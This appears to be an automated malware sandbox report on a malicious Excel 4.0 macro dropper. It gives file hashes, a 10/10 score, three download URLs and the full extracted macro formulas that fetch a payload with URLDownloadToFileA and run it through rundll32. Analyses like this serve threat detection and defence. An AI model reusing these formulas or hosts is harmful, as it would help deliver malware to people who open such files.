General

  • Target

    ?i=1nktihrki

  • Size

    83KB

  • Sample

    220404-d1vwfshgg2

  • MD5

    cf82eec9632dc53d54c38f1d7b8a1b71

  • SHA1

    7b7e3339a8e857f1525341c074571ee7d7e9dd7f

  • SHA256

    9fbfeb3873dee627be46cf7c10015435d027d718dd42a7842badd45e590f782b

  • SHA512

    346297dc7ce5b9caf84b766e40339372012f3401f010a7473a52cdb9a56027bdef53869a7aa543b67aa890536d442ed718583b04a7328302a164b7dba6f6dd29

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://yuanbinglun.com/www.yuanbinglun.com/7kKwqmxRWQK0OLi/

http://laserjetprintersreview.xyz/wp-includes/BJ6yUJ/

http://2021.posadamision.com/wp-admin/IoqaL08/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://yuanbinglun.com/www.yuanbinglun.com/7kKwqmxRWQK0OLi/","..\dwa.ocx",0,0) =IF('RHEEHGF'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://laserjetprintersreview.xyz/wp-includes/BJ6yUJ/","..\dwa.ocx",0,0)) =IF('RHEEHGF'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://2021.posadamision.com/wp-admin/IoqaL08/","..\dwa.ocx",0,0)) =IF('RHEEHGF'!D21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\dwa.ocx,D""&""l""&""lR""&""egister""&""Server") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://yuanbinglun.com/www.yuanbinglun.com/7kKwqmxRWQK0OLi/

xlm40.dropper

http://laserjetprintersreview.xyz/wp-includes/BJ6yUJ/

xlm40.dropper

http://2021.posadamision.com/wp-admin/IoqaL08/

Targets

    • Target

      ?i=1nktihrki

    • Size

      83KB

    • MD5

      cf82eec9632dc53d54c38f1d7b8a1b71

    • SHA1

      7b7e3339a8e857f1525341c074571ee7d7e9dd7f

    • SHA256

      9fbfeb3873dee627be46cf7c10015435d027d718dd42a7842badd45e590f782b

    • SHA512

      346297dc7ce5b9caf84b766e40339372012f3401f010a7473a52cdb9a56027bdef53869a7aa543b67aa890536d442ed718583b04a7328302a164b7dba6f6dd29

    Score
    10/10

MITRE ATT&CK Enterprise v6

Tasks